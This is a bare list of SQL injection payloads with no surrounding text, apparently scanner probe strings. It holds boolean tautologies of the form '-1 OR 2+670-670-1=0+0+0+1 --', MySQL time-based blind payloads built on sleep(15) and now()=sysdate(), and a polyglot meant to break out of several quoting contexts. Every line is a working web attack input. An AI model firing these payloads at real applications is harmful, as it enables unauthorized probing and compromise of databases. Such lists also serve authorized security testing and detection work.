1

if(now()=sysdate(),sleep(15),0)

-1 OR 2+670-670-1=0+0+0+1 --

-1 OR 2+661-661-1=0+0+0+1

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

-1' OR 2+481-481-1=0+0+0+1 --

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

-1' OR 2+246-246-1=0+0+0+1 or 'gKf1R8qz'='

-1" OR 2+975-975-1=0+0+0+1 --

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/